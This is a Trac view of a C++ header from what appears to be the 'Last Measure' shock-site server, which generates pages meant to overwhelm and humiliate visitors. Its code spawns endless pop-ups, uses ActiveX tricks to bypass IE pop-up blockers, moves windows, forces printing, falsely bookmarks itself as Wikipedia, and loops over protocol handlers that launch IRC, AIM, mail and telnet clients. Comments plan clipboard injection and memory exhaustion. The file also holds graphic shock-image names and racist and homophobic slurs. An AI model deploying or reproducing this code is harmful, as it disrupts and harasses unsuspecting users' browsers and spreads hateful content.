source: trollforge/lastmeasure/server/lmresource.h @ 638

Revision 638, 24.8 KB checked in by sam, 16 months ago (diff)

Remove the need for redundant preprocessor stuff. Add comments here and there.

  • Property svn:keywords set to Id
Line 
1/* XXX:
2 * `if_ie6 == true', should we use `showModelessDialog()'?
3 * `showModelessDialog()' was used in LastMeasure 3.4 to avoid Internet
4 *  Explorer's pop-up blockers. goat-see's comment remains, yet
5 *  `showModelessDialog()' is not used anywhere in the code.
6 */
7#include <string>
8#include <sstream>
9#include <fstream>
10#include <iostream>
11#include <streambuf>
12
13//#include "lmutil.h"
14
15#ifdef SOFT
16#   define IMAGES_PREFIX "/soft/"
17#else
18#   define IMAGES_PREFIX "/images/"
19#endif
20
21static char const *staticnames[] =
22{
23    /* Shock pictures */
24    "/images/awesome.jpg",    "/images/Pain4.jpg",
25    "/images/balloonboy.jpg", "/images/Pain5.jpg",
26    "/images/christmas.jpg",  "/images/Pain.jpg",
27    "/images/freak.jpg",      "/images/penisbird.gif",
28    "/images/harlequin1.jpg", "/images/pillowfight.jpg",
29    "/images/harlequin2.jpg", "/images/pooped.jpg",
30    "/images/harlequin3.jpg", "/images/rustina.jpg",
31    "/images/harlequin4.jpg", "/images/smile.jpg",
32    "/images/harlequin.jpg",  "/images/spin.gif",
33    "/images/hello.jpg",      "/images/stopracism.jpg",
34    "/images/hotblowjob.jpg", "/images/stretch.jpg",
35    "/images/kiss.jpg",       "/images/tubgirl.jpg",
36    "/images/lemonparty.jpg", "/images/Untitled.jpg",
37    "/images/loopback.jpg",   "/images/weightlifter.jpg",
38    "/images/Pain2.jpg",      "/images/zoidberg.jpg",
39    "/images/Pain3.jpg",      "/images/jar.jpg",
40    "/images/lunch.jpg",
41
42    /* Soft images */
43    "/soft/christmas.jpg",    "/soft/pillowfight.jpg",
44    "/soft/eww.jpg",          "/soft/pooped.jpg",
45    "/soft/freak.jpg",        "/soft/rustina.jpg",
46    "/soft/hello.jpg",        "/soft/spin.gif",
47    "/soft/lemonparty.jpg",   "/soft/tubgirl.jpg",
48    "/soft/loopback.jpg",     "/soft/weightlifter.jpg",
49    "/soft/ouch.jpg",
50
51    /* Static sound samples */
52    "/audio/abez2.wav",    "/audio/abez.wav",
53    "/audio/blackman.wav", "/audio/eska.wav",
54    "/audio/fury.wav",     "/audio/jesuitx1.wav",
55    "/audio/jesuitx2.wav", "/audio/jizzy.wav",
56    "/audio/kirk.wav",     "/audio/lolichan.wav",
57    "/audio/original.wav", "/audio/popeye.wav",
58    "/audio/rkz.wav",      "/audio/rucas.wav",
59    "/audio/sam.wav",      "/audio/trogg.wav",
60
61    /* <iframe> */
62    "/lm.pdf",
63    "/lm2.pdf",
64    "/jews.wmv",
65    "/gnaa.mp3",
66
67    /* Other static files */
68    "/flash/first_opener.swf",
69    "/flash/second_opener.swf",
70    "/flash/hello.swf",
71    "/flash/hey.swf",
72
73    "/LastCoffee.class",
74    "/gnaa.png",
75
76    "/favicon.ico",
77    "/robots.txt",
78
79    //"/index.php",
80};
81
82typedef std::pair<std::string,std::string> Response;
83
84class Resources
85{
86public:
87    static void LoadAll()
88    {
89        for (size_t i = 0; i < NSTATICS; i++)
90        {
91            /* Skip leading / when opening local files */
92            std::ifstream t(staticnames[i] + 1);
93            m_statics[i] = std::string((std::istreambuf_iterator<char>(t)),
94                                       std::istreambuf_iterator<char>());
95        }
96    }
97
98    static Response Get(char const *resource, char const *query,
99                        char const *host, char const *agent)
100    {
101        /* Special case for server status (TODO) */
102        if (!strcmp(resource, "/server-status")
103             || !strcmp(resource, "/server-status/"))
104        {
105            return Response("SERVER STATUS UNAVAILABLE FOR NOW", "text/html");
106        }
107
108        /* Special case for static resources */
109        for (size_t i = 0; i < NSTATICS; i++)
110        {
111            if (!strcmp(resource, staticnames[i]))
112            {
113                return Response(m_statics[i], MimeType(resource));
114            }
115        }
116
117        /* Is this a pop-up? */
118        bool is_popup = (strstr(query, "popup=1") > 0);
119
120        char const *flash;
121
122        /* Is the browser IE 6 or better? */
123        char const *parser = strstr(agent, " MSIE ");
124        bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6);
125
126        /* Sending stuff */
127        std::stringstream data("");
128
129        data <<
130
131    "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\""
132    "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n"
133    "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\r\n"
134
135    "  <head>\r\n"
136    "    <title>" << Random::Title() << "</title>\r\n"
137    "    <meta name=\"keywords\" content=\"" << Random::Keywords(128) << "\" />\r\n"
138    "    <meta name=\"description\" content=\"" << Random::Keywords(20) << "\" />\r\n"
139    "    <script type=\"text/javascript\">\r\n" << JavaScript(host) <<
140    "    </script>\r\n"
141    "    <link rel=\"icon\" type=\"image/x-icon\" "
142             "href=\"http://" << host << "/favicon.ico\" />\r\n"
143    "    <link rel=\"shortcut icon\" type=\"image/x-icon\" "
144             "href=\"http://" << host << "/favicon.ico\" />\r\n"
145    "    <style type=\"text/css\">\r\n"
146    "      html { height: 100%; width: 100%; overflow: hidden; }\r\n"
147    "      body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n"
148    "    </style>\r\n"
149    "  </head>\r\n"
150
151    "  <body style=\"background-image: url(http://" << host
152          << RandomAsset(IMAGES_PREFIX) << "); background-color: #FFFFFF;\""
153    "\r\n        onload=\"bookmark(); noframes(); load_goatse(); document.getElementById('goatse').innerHTML = ''; movew0w(); ";
154        if (is_ie6)
155            data << "setTimeout('main()', 100); ";
156        if (!is_popup)
157            data << "print(); ";
158        data <<
159    "setTimeout('ruin()', 20);\"\r\n"
160    "        onmousemove=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\"\r\n"
161    "        onkeydown=\"molish(); procreate();\"\r\n"
162    "        onunload=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\"\r\n"
163    "        onmouseover=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\">\r\n";
164
165        data << MoveAround(800, 600, host);
166        data << ActivateApplets();
167        if (is_ie6) /* XXX: Do these things even work in the newer versions of IE? -- Leon */
168        {
169            data << PopupBypasser(host);
170            data << DivertOnload();
171        }
172
173    data <<
174
175    "<table>\r\n"
176    "    <tr>\r\n"
177    "        <td valign=\"middle\">\r\n"
178    "            <div style=\"text-align: center;\">\r\n"
179    "                <a href=\"http://www.gnaa.eu/\"><img src=\"http://" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n"
180    "                <br />\r\n"
181    "                <br />\r\n";
182
183    if (is_popup)
184    {
185        flash = "second_opener.swf";
186    } else {
187        flash = "first_opener.swf";
188    }
189
190    if(!is_ie6)
191    {
192        data <<
193
194        "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" "
195        "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\">\r\n"
196        "    <param name=\"movie\" value=\"http://" << host << "/flash/" << flash << "\" />\r\n"
197        "    <param name=\"quality\" value=\"high\" />\r\n"
198        "</object>\r\n";
199    }
200
201    data <<
202
203    "            </div>\r\n"
204    "        </td>\r\n"
205    "    </tr>\r\n"
206    "</table>\r\n";
207
208        if (!is_popup)
209        {
210            data <<
211// This object plays the "hey everybody, I'm looking at gay porno!" sound
212            "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" "
213            "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\" id=\"hey\">\r\n"
214            "    <param name=\"movie\" value=\"http://" << host << "/flash/hey.swf\" />\r\n"
215            "    <param name=\"quality\" value=\"high\" />\r\n"
216            "</object>\r\n"
217            "<script type=\"text/javascript\">\r\n"
218            "<!--\r\n"
219            "var audio = new Array();\r\n";
220
221            for (int i = FindAssetIndex("/audio/", -1), n = 0;
222                 i < (int)NSTATICS;
223                 i = FindAssetIndex("/audio/", i))
224            {
225                data << "    audio[" << n << "] = 'http://"
226                     << host << "" << staticnames[i] << "';\r\n";
227            }
228
229            data <<
230            "for (i = 0; i < audio.length; i++) {\r\n"
231            "    setTimeout('document.getElementById(\"audio\").innerHTML += \\'<embed src=\"' + audio[i] + '\" loop=\"true\" />\\';', 6000 * (i/2));\r\n"
232            "}\r\n"
233            "// -->\r\n"
234            "</script>\r\n"
235            "<div id=\"audio\">\r\n"
236            "</div>\r\n"
237            "<applet code=\"LastCoffee.class\" width=\"100\" height=\"100\" codebase=\"/\" />\r\n"
238            "</div>\r\n"
239            "<div>\r\n"
240            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/lm.pdf\"></iframe>\r\n"
241            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/lm2.pdf\"></iframe>\r\n"
242            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/jews.wmv\"></iframe>\r\n"
243            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/gnaa.mp3\"></iframe>\r\n"
244            "<div id=\"goatse\">yes hello</div>\r\n"
245            "<br />\r\n" << Random::Keywords(128) << "</div>\r\n";
246        }
247
248    data << "  </body>\r\n";
249/* XXX: We should just LM them here, right? -- Leon */
250        data << "<html><body><p>You are asking for "
251             << resource << ". You could also ask for <a href=\"http://"
252             << host << "/" << rand()
253             << "\">something else</a>.</p>"
254             << "<img src=\"http://" << host << "" << RandomAsset(IMAGES_PREFIX) << "\" />"
255             << "</body></html>";
256        return Response(data.str(), "text/html");
257    }
258
259    static std::string JavaScript(char const *host)
260    {
261        std::stringstream ret("");
262
263        ret <<
264/*
265 * Let's figure out what the fuck kind of browser the poor plebes are using. :(
266 *  MSIE gets a special kind of Last Measure where I start off with a
267 *  `ModelessDialog' and pop up from it.
268 *  Gets around Google Toolbar.
269 *              -- goat-see
270 */
271 "var nom = navigator.appName.toLowerCase();\r\n"
272 "var agt = navigator.userAgent.toLowerCase();\r\n"
273 "var is_major  = parseInt(navigator.appVersion);\r\n"
274 "var is_minor  = parseFloat(navigator.appVersion);\r\n"
275 "var is_ie     = (agt.indexOf('msie') != -1);\r\n"
276 "var is_ie4up  = (is_ie && (is_major >= 4));\r\n"
277 "var is_nav    = (nom.indexOf('netscape')!=-1);\r\n"
278 "var is_nav4   = (is_nav && (is_major == 4));\r\n"
279 "var is_mac    = (agt.indexOf('mac')!=-1);\r\n"
280 "var is_gecko  = (agt.indexOf('gecko') != -1);\r\n"
281
282 //  GECKO REVISION
283 "var is_rev = 0;\r\n"
284
285 "if (is_gecko) {\r\n"
286 "    temp = agt.split('rv:');\r\n"
287 "    is_rev = parseFloat(temp[1]);\r\n"
288 "}\r\n"
289
290 "function bookmark() {\r\n"
291 "    if (is_ie4up) {\r\n"
292 "        window.external.AddFavorite(self.location.href, 'Wikipedia, the free encyclopedia');\r\n"
293 "    }\r\n"
294 "}\r\n"
295
296 "function molish() {\r\n"
297 "    var credits = \"LAST MEASURE UNIFIED X-2, by LiteralKa and sam.\\n\";\r\n"
298 "    credits += \"Starring:\\n\";\r\n"
299 "    credits += \"Balloon Boy, Huge_Midget's 'Pain Series', Kevin Klerck (spin.gif), Kirk Johnson,\\n\";\r\n"
300 "    credits += \"Lemonparty, Loopback, Penisbird, Pillowfight, Rusty's Wife, The Harlequin Fetus,\\n\";\r\n"
301 "    credits += \"The Shitfaced Lady, Tubgirl, and much, much more!\\n\";\r\n"
302 "    credits += \"\\n\\n\";\r\n"
303 "    credits += \"Multiple 'HEY EVERYBODY...' clips by abez, blackman, eska, fury, JesuitX, JiZZy,\\n\";\r\n"
304 "    credits += \"kirk, lolichan, 'original', popeye, rkz, Rucas, sam, and trogg.\\n\";\r\n"
305 "    credits += \"\\n\\n\";\r\n"
306 "    credits += \"Pop-up blocker evasion technology by Armorfist, goat-see, and LiteralKa.\\n\";\r\n"
307 "    credits += \"hey.swf by rkz.\\n\";\r\n"
308 "    credits += \"IFRAMEd protocol ruin by incog and LiteralKa.\\n\";\r\n"
309 "    credits += \"LastCoffee by abez and Dessimat0r.\\n\";\r\n"
310 "    credits += \"lmserver by sam and LiteralKa.\\n\";\r\n"
311 "    credits += \"PDF Ruin by JacksonBrown and Jmax.\\n\";\r\n"
312 "    credits += \"Stats Measure by Jmax and timecop.\\n\";\r\n"
313 "    credits += \"\\n\\n\";\r\n"
314 "    credits += \"Updated by abortion, JacksonBrown, Rolloffle, timecop, weev, and others.\\n\";\r\n"
315 "    credits += \"Previous versions were lead by goat-see (pi), Jmax, Penisbird, Rucas, sam, and Zeikfried.\\n\";\r\n"
316 "    credits += \"Proudly brought to you by the Gay Nigger Association of America.\\n\";\r\n"
317
318 "    switch(event.keyCode) {\r\n"
319 "        case 46:\r\n" // DEL
320 "        case 63272:\r\n" // DEL on the fucked-up Safari browser
321 "            alert(credits);\r\n"
322 "            break;\r\n"
323 "        case 17:\r\n" // CTRL [Or the Apple "CMD", only detected by Opera] NOTE: Opera Mac gives keyCode '0'
324 "        case 18:\r\n" // ALT
325 //"    case 81:" // W (As in "CTRL+W")
326 //"    case 87:" // Q (As in "CTRL+Q")
327 "        case 115:\r\n" // F4
328 "            alert(\"Our lawyer has informed us that we need a warning. So, if "
329                     "you are under the age of 18 or find this offensive, "
330                     "please leave immediately\");\r\n"
331 "            break;\r\n"
332 "    }\r\n"
333 "}\r\n"
334/* XXX Does click() even work? */
335 "function click() {\r\n"
336 "    if(event.which == 3 || event.button == 2) {\r\n"
337 "        return false;\r\n"
338 "    }\r\n"
339 "}\r\n"
340
341 "function procreate() {\r\n"
342 "    for(i = 0; i < 16; i++) {\r\n"
343 "        popUp(\"index.php?popup=1\");\r\n"
344 "    }\r\n"
345 "}\r\n"
346
347 "function popUp(URL) {\r\n"
348 "    day = new Date();\r\n"
349 "    id = day.getTime();\r\n"
350 "    eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\");\r\n"
351 "}\r\n"
352
353 "goatseflash  = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n"
354 "goatseflash += \"  <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n"
355 "goatseflash += \"    <param name='movie' value='http://" << host << "/flash/hello.swf' />\";\r\n"
356 "goatseflash += \"    <param name='wmode' value='transparent' />\";\r\n"
357 "goatseflash += \"  </object>\";\r\n"
358 "goatseflash += \"</div>\";\r\n"
359
360 "function load_goatse() {\r\n"
361 "    document.body.innerHTML += goatseflash;\r\n"
362 "    setTimeout(\"unload_goatse()\", 3000);\r\n" // 3s
363 "}\r\n"
364
365 "function unload_goatse() {\r\n"
366 "    document.getElementById(\"hello\").style.display = 'none';\r\n"
367 "}\r\n"
368
369 "function noframes() {\r\n"
370 "    if (top.location.hostname != location.hostname)\r\n"
371 "        top.location.href = window.location.href;\r\n"
372 "}\r\n"
373
374 "var protos = [\r\n"
375 "        \"irc://irc.gnaa.eu/gnaa\",\r\n"
376 "        \"irc://irc.freenode.net/freenode?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
377 //"        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
378 "        \"news:alt.flame.niggers\",\r\n"
379 "        \"news:alt.flame.faggots\",\r\n"
380 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
381 "        \"callto://JOIN_THE_GNAA__2012_RECRUITMENT_DRIVE\",\r\n"
382 "        \"rlogin://1.1.1.1:80\",\r\n"
383 "        \"telnet://1.1.1.1:80\",\r\n"
384 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
385 "        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\",\r\n"
386 "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\",\r\n"
387 "        \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\",\r\n"
388 "        \"aim:goim?screenname=bluexox5&message=dont+fuck+with+the+GNAA\",\r\n"
389 "        \"magnet:?xt=urn:btih:4424ecbc11bf0238e36cf2412b248e0c2339c663&dn=Gayniggers.From.Outer.Space.Digitally.Remastered.XviD-NoGrp"
390 "&tr=udp://tracker.openbittorrent.com:80&tr=udp://tracker.publicbt.com:80&tr=udp://tracker.ccc.de:80\",\r\n"
391 "        ];\r\n"
392
393 "function add(str) {\r\n"
394 "    div = document.getElementById('goatse');\r\n"
395 "    div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';\r\n"
396 "}\r\n"
397
398 "function ruin() {\r\n"
399// "    document.body.innerHTML += '<div id=\"goatse\">yes hello</div>';\r\n"
400 "    while (1) {\r\n"
401 "        for (i = 0; i < protos.length; i++) {\r\n"
402 "            add(protos[i]);\r\n"
403 "        }\r\n"
404 "    }\r\n"
405 "}\r\n";
406
407        return ret.str();
408    }
409
410    static char const *MimeType(char const *resource)
411    {
412        static char const *assoc[] =
413        {
414            ".png", "image/png",
415            ".jpg", "image/jpeg",
416            ".jpeg", "image/jpeg",
417            ".gif", "image/gif",
418            ".wav", "audio/x-wav",
419            ".mp3", "audio/mpeg",
420            ".swf", "application/x-shockwave-flash",
421            ".pdf", "application/pdf",
422            ".wmv", "video/x-ms-wmv",
423            ".class", "application/java-vm",
424            ".ico", "image/x-icon",
425            ".txt", "text/plain",
426            ".bmp", "image/bmp",
427        };
428
429        for (size_t i = 0; i < sizeof(assoc) / sizeof(*assoc); i += 2)
430        {
431            char const *suffix = assoc[i], *test;
432            if ((test = strstr(resource, suffix)) && !test[strlen(suffix)])
433                return assoc[i + 1];
434        }
435
436        return "text/plain";
437    }
438
439    /* Pick a random asset starting with @prefix. For instance if @prefix
440     * is "/images/" we pick one at random and if it starts with "/images/"
441     * we return it. Otherwise, pick another one. Repeat 32 times. */
442    static std::string RandomAsset(char const *prefix)
443    {
444        size_t prefixlen = strlen(prefix);
445
446        for (int i = 0; i < 32; i++)
447        {
448            char const *name = staticnames[rand() % NSTATICS];
449            if (!strncmp(name, prefix, prefixlen))
450                return name;
451        }
452
453        return "/";
454    }
455
456    /* Find the asset index after @previous that matches @prefix. This can
457     * be used as an iterator. To get the first matching asset, use -1 as
458     * an argument. */
459    static int FindAssetIndex(char const *prefix, int previous)
460    {
461        if (previous < -1 || previous > (int)NSTATICS)
462            return NSTATICS;
463
464        size_t prefixlen = strlen(prefix);
465
466        while (++previous < (int)NSTATICS)
467        {
468            char const *name = staticnames[previous];
469            if (!strncmp(name, prefix, prefixlen))
470                break;
471        }
472
473        return previous;
474    }
475
476    static std::string MoveAround(size_t width, size_t height, char const *host)
477    {
478        std::stringstream ret("");
479
480        ret <<
481        "<script type=\"text/javascript\">\r\n"
482        "<!--\r\n"
483        "    var images = new Array();\r\n";
484
485        for (int i = FindAssetIndex(IMAGES_PREFIX, -1), n = 0;
486             i < (int)NSTATICS;
487             i = FindAssetIndex(IMAGES_PREFIX, i))
488        {
489            ret << "    images[" << n << "] = 'http://" << host << "" << staticnames[i] << "';\r\n";
490        }
491
492        ret <<
493        "var delay = 10;\r\n"
494        "var step = .2;\r\n"
495        "var curstep = 0;\r\n"
496
497        "window.resizeTo(" << width << ", " << height << ");\r\n"
498        "var centerX = (self.screen.width - document.body.clientWidth) / 2;\r\n"
499        "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;\r\n"
500        "movew0w();\r\n"
501
502        "function movew0w() {\r\n"
503        "    var j;\r\n"
504        "    for (j = 0; j < 5; j++) {\r\n"
505        "        curstep += step / 5;\r\n"
506        "        var factorX = Math.sin(curstep * 6.1) * 0.9;\r\n"
507        "        var factorY = Math.cos(curstep * 3.7) * 0.9;\r\n"
508       
509        "        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)\r\n"
510        "                    * (Math.sin(10+curstep/(10+j))+0.2)\r\n"
511        "                    * Math.cos((curstep + j*25)/10);\r\n"
512        "        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)\r\n"
513        "                       * (Math.sin(10+curstep/10)+0.2)\r\n"
514        "                       * Math.cos((curstep + j*25)/10);\r\n"
515        "        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));\r\n"
516        "    }\r\n"
517
518        "    document.body.background = images[(Math.floor(curstep) % images.length) + 1];\r\n"
519        "    setTimeout(\"movew0w()\", delay);\r\n"
520        "}\r\n"
521        "// -->\r\n"
522        "</script>\r\n";
523
524        return ret.str();
525    }
526
527    static std::string ActivateApplets()
528    {
529        std::stringstream ret("");
530
531        ret <<
532
533        "<div>\r\n"
534        "    <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\">\r\n"
535        "        <param name=\"ActivateApplets\" value=\"1\" />\r\n"
536        "        <param name=\"ActivateActiveXControls\" value=\"1\" />\r\n"
537        "    </object>\r\n"
538        "</div>\r\n";
539
540        return ret.str();
541    }
542
543/*  This chunk bypasses pop-ups */
544    static std::string PopupBypasser(char const *host)
545    {
546        std::stringstream ret("");
547
548        ret <<
549
550        "<script type=\"text/javascript\">\r\n"
551        "<!--\r\n"
552        "    function shellscript() {\r\n"
553        "        for(i = 0; i < 5; i++) {\r\n"
554        "            open('http://" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n"
555        "        }\r\n"
556        "    }\r\n"
557
558        "    function main() {\r\n"
559        "        x.DOM.Script.execScript(shellscript.toString());\r\n"
560        "        x.DOM.Script.setTimeout(\"shellscript()\");\r\n"
561        "        setTimeout(\"main()\", 200);\r\n"
562        "    }\r\n"
563        "// -->\r\n"
564        "</script>\r\n";
565
566        return ret.str();
567    }
568
569    static std::string DivertOnload()
570    {
571        std::stringstream ret("");
572
573        ret <<
574
575        "<script type=\"text/javascript\">\r\n"
576        "<!--\r\n"
577        "    var SymRealOnLoad;\r\n"
578        "    var SymRealOnUnload;\r\n"
579        "    var SymRealWinOpen;\r\n"
580
581        "    function SymOnUnload() {\r\n"
582        "        window.open = SymWinOpen;\r\n"
583        "        if(SymRealOnUnload != null)\r\n"
584        "            SymRealOnUnload();\r\n"
585        "    }\r\n"
586
587        "    function SymOnLoad() {\r\n"
588        "        if(SymRealOnLoad != null)\r\n"
589        "            SymRealOnLoad();\r\n"
590        "        window.open = SymRealWinOpen;\r\n"
591        "        SymRealOnUnload = window.onUnload;\r\n"
592        "        window.onUnload = SymOnUnload;\r\n"
593        "    }\r\n"
594
595        "    SymRealOnLoad = window.onLoad;\r\n"
596        "    window.onLoad = SymOnLoad;\r\n"
597        "// -->\r\n"
598        "</script>\r\n";
599
600        return ret.str();
601    }
602
603    static std::string PopUnder(char const *host)
604    {
605        std::stringstream ret("");
606
607        ret <<
608
609        "var rapeVictim = false;\r\n"
610
611        "function popunder(url) {\r\n"
612        "    if (rapeVictim === true) {\r\n"
613        "        return true;\r\n"
614        "    }\r\n"
615
616        "    var daWindow = window.open(url, \"ljPu\", \"toolbar,status,resizable,scrollbars,menubar,location,height=780,width=1024\");\r\n"
617        "    window.setTimeout(window.focus, 500);\r\n"
618
619        "    if (daWindow) {\r\n"
620        "        daWindow.blur();\r\n"
621        "        rapeVictim = true;\r\n"
622        "    }\r\n"
623
624        "    return daWindow;\r\n"
625        "}\r\n"
626
627        "function doPopUnder() {\r\n"
628        "    var win = popunder('http://" << host << "/');\r\n"
629        "    return true;\r\n"
630        "}\r\n";
631
632        return ret.str();
633    }
634
635/* XXX: Does not work yet.
636 * 06:45:51 <incog> http://stackoverflow.com/questions/1203082/injecting-text-when-content-is-copied-from-web-page
637 * 06:46:19 <incog> stealing the js from this will allo LM to inject whatever it wants into the victims clipboards
638 * 06:47:09 <incog> from ascii art goatse, to more LM urls
639 * 06:47:31 <incog> to a js that generates a random string so big it eats all the ram
640 */
641    static std::string Tynt()
642    {
643        static char const *prefix = "prefix";
644        static char const *suffix = "suffix";
645
646        std::stringstream ret("");
647
648        ret <<
649
650        "<script type=\"text/javascript\">\r\n"
651        "    if(document.location.protocol=='http:'){\r\n"
652        "        var Tynt=Tynt||[];Tynt.push('buPVQ-pnyr4zddacwqm_6l');Tynt.i={\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\",\"c\":false,\"t\":true};\r\n"
653        "        (function(){\r\n"
654        "            var s=document.createElement('script');s.async=\"async\";s.type=\"text/javascript\";s.src='http://tcr.tynt.com/ti.js';\r\n"
655        "            var h=document.getElementsByTagName('script')[0];h.parentNode.insertBefore(s,h);})();\r\n"
656        "    }\r\n"
657        "</script>\r\n";
658
659/*
660        "<script type=\"text/javascript\">\r\n"
661        "    tyntVariables = {\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\"};\r\n"
662        "</script>\r\n"
663
664        "<script type=\"text/javascript\" src=\"http://tcr.tynt.com/javascripts/Tracer.js?user=aDjyve6yar3BZFab7jrHcU&amp;s=1&amp;st=1&amp;lang=en\"></script>\r\n";
665*/
666
667        return ret.str();
668    }
669
670private:
671    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames);
672    static std::string m_statics[NSTATICS];
673};
674
675std::string Resources::m_statics[NSTATICS];
676
Note: See TracBrowser for help on using the repository browser.